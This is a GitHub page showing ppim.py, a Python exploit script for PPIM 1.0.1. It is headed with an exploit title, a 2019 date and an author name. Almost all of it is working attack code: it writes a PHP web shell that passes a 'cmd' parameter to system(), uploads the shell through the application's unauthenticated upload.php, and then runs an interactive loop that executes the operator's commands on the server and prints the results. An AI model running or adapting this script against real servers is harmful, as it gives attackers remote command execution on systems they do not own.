-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathppim.py
More file actions
49 lines (35 loc) · 1.03 KB
/
ppim.py
File metadata and controls
49 lines (35 loc) · 1.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Exploit Title : PPIM 1.0.1
# Date : 26 June 2019
# Exploit Author : Doctor_Hacker
# Version : PPIM 1.0.1
# Tested on : Windows
import requests
#Define IP and port.
IP='127.0.0.1'
port=80
#Build URL String
url='http://'+IP+':'+str(port)+'/upload.php'
#Get session headers
my_session = requests.Session()
r = my_session.get(url)
#Build shell file to upload.
text_file=open ("shell.php","w")
text_file.write ('<?PHP system($_GET["cmd"]); ?>'+'\n')
text_file.close()
#Define file to upload for the POST
myfile = {'userfile': open('shell.php' ,'rb')}
#Set all POST variables.
payload = {'submitupload': 'Upload' }
#Now do the POST.
x = my_session.post(url, files = myfile, data=payload)
while True:
#Get the command
print ("Type exit to get out of here.")
cmd = input('shell@'+IP+':~# ')
if cmd.strip() == 'exit':
break
#Build URL String
url='http://'+IP+':'+str(port)+'/upload/shell.php?cmd='+cmd
#Run the SHELL.
r = my_session.get(url)
print(r.text)